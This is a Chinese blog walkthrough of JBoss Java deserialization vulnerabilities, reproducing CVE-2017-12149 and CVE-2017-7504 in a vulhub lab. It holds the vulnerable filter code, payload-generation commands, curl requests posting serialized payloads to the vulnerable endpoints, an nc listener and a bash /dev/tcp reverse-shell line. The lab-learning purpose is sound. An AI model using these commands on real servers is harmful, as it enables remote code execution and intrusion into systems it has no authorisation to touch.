JBoss反序列化

基础知识

序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。

Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法用于反序列化。

形成漏洞的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制。

原理

Java序列化,简而言之就是把java对象转化为字节序列的过程。而反序列话则是再把字节序列恢复为java对象的过程,然而就在这一转一变得过程中,程序员的过滤不严格,就可以导致攻击者恶意构造的代码的实现。
举个简单的例子,jboss的反序列化漏洞出现在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中的doFilter中。

public void doFilter(ServletRequest request,ServletResponse response,FilterChain chain)
  throw IOException,ServletException
{
  HttpServletRequest httpRequest=(HttpServletRequest)request;
  Principal user=httpRequest.getUserPrincipal();
  if((user=null)&&(this.readOnlyContext!=null))
  { 
    ServletInputStream sis=request.getInputStream();
    ObjectInputStream ois=new ObjectInputStream(sis);
    MarshalledInvocation mi=null;
    try
    {
      mi=(MarshalledInvocation)ois.readObject();
    } 
    catch(ClassNotFountException e)
    {
      throw new ServletException("Failed to read MarshalledInvocation",e);
    }
    request.serAttribute("MarshalledInvocation",mi);

    mi.setMethodMap(this.namingMethodMap);
    Method m=mi.getMethod();
    if(m!=null){
      validateAccess(m,mi)
    }
  }
  chain.doFilter(request,response);
}

CVE-2017-12149

漏洞影响5.x和6.x版本的JBOSSAS。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。

CVE-2017-7504

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

验证

可以使用检测工具检测
在这里插入图片描述

复现思路

1.云主机的内置vulhub8080端口搭建实验靶场
2. 加载攻击脚本,编译并生成序列化数据
3. 序列化恶意数据至文件,将该文件作为请求数据主体发送数据包
4.云主机开启端口监听反弹过来的shell

1.CVE-2017-12149利用路径是/invoker/readonly
2.CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet
3.CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet

复现-CVE-2017-12149

本文使用的脚本下载地址:
https://github.com/joaomatosf/JavaDeserH2HC
影响范围
JBoss 5.0.0~5.2.2
1、特征检测
端口扫描:
// 使用nmap扫描端口,检测是否开启该服务:
nmap -p 1-65535 -A 目标 IP
在这里插入图片描述2、启动vulhub的jboss,访问http://your-IP:8080/
在这里插入图片描述
目录拼接: http://your-IP:8080/invoker/readonly
在这里插入图片描述
脚本下载地址:

https://github.com/joaomatosf/JavaDeserH2HC
编译并生成序列化数据:

// 执行下面命令会生成相应的.class文件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

在这里插入图片描述
ser全称serialize,序列化恶意数据至文件:

// 执行下面命令会生成相应的.ser文件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.107.139:8888

在这里插入图片描述
将该文件作为请求数据主体发送数据包,–data-binary 意为以二进制的方式post数据:

// curl 这个二进制文件发送payload
curl http://192.168.107.142:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

在这里插入图片描述
监听端口:

// 开启监听端口
nc -lvnp 6666

在这里插入图片描述
成功反弹(注:这里出现connect to [X.X.X.X] from x.x.x.x 后就可以直接执行命令了)

复现-CVE-2017-7504

影响范围:JBoss AS 4.x及之前版本。
漏洞原理:JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
下载利用工具:http://scan.javasec.cn/java/JavaDeserH2HC.zip
1、启动vulhub的jboss,访问http://your-ip:8080/
在这里插入图片描述

2、进行文件编译
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
在这里插入图片描述
3、先开启nc监听5678端口
在这里插入图片描述
4、java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap “bash -i >& /dev/tcp/150.158.193.92/5678 0>&1”
在这里插入图片描述
5、curl提交POC
curl http://150.158.193.92:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
在这里插入图片描述
6、反弹成功!
在这里插入图片描述

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值